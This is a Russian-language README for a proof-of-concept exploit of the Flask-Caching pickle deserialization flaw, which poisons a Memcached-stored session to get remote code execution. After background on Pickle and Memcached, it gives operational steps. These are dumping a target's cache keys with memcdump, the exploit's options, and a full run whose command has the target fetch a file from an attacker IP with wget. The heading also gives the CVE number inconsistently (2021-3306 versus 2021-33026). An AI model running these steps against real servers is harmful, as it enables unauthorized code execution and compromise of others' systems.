
Удаленное выполнение кода через сериализацию Pickle - Отравление Memcached
Удаленное выполнение кода через сериализацию Pickle — PoC-эксплойт отравления Memcached
Что такое CVE-2021-3306?
Расширение Flask-Caching версии до 1.10.1 для Flask использует Pickle для сериализации, что может привести к удаленному выполнению кода или локальному повышению привилегий. Если злоумышленник получает доступ к хранилищу кеша (например, файловая система, Memcached, Redis и т.д.), он может создать специально сформированную полезную нагрузку, отравить кеш и выполнить Python-код.
Какова функция библиотеки Pickle?
Pickle в Python в основном используется для сериализации и десериализации структуры Python-объекта. Другими словами, это процесс преобразования Python-объекта в поток байтов для сохранения в файле/базе данных, поддержания состояния программы между сеансами или передачи данных по сети.
Что такое Memcached?
Memcached — это распределенная система кеширования в оперативной памяти общего назначения. Она часто используется для ускорения динамических веб-сайтов на основе баз данных путем кеширования данных и объектов в ОЗУ, чтобы уменьшить количество обращений к внешнему источнику данных.
[!] Эксплуатация:
1. Чтобы эксплойт сработал, необходимо предоставить сессионный cookie. Почему? В этой концепции мы имеем случай, когда сессионный cookie уязвимого Flask-приложения управляется или хранится сервисом Memcached:
memcdump --servers=target_machine_ip_address

2. Использование эксплойта:
-h --> меню справки
--cmd --> Команда для выполнения на целевой машине
--rhost --> IP-адрес целевой машины
--rport --> Порт целевой машины
--cookie --> Ваш ФАКТИЧЕСКИЙ СЕССИОННЫЙ COOKIE из УЯЗВИМОГО FLASK-ПРИЛОЖЕНИЯ. Пример: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Запуск эксплойта:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Ссылки: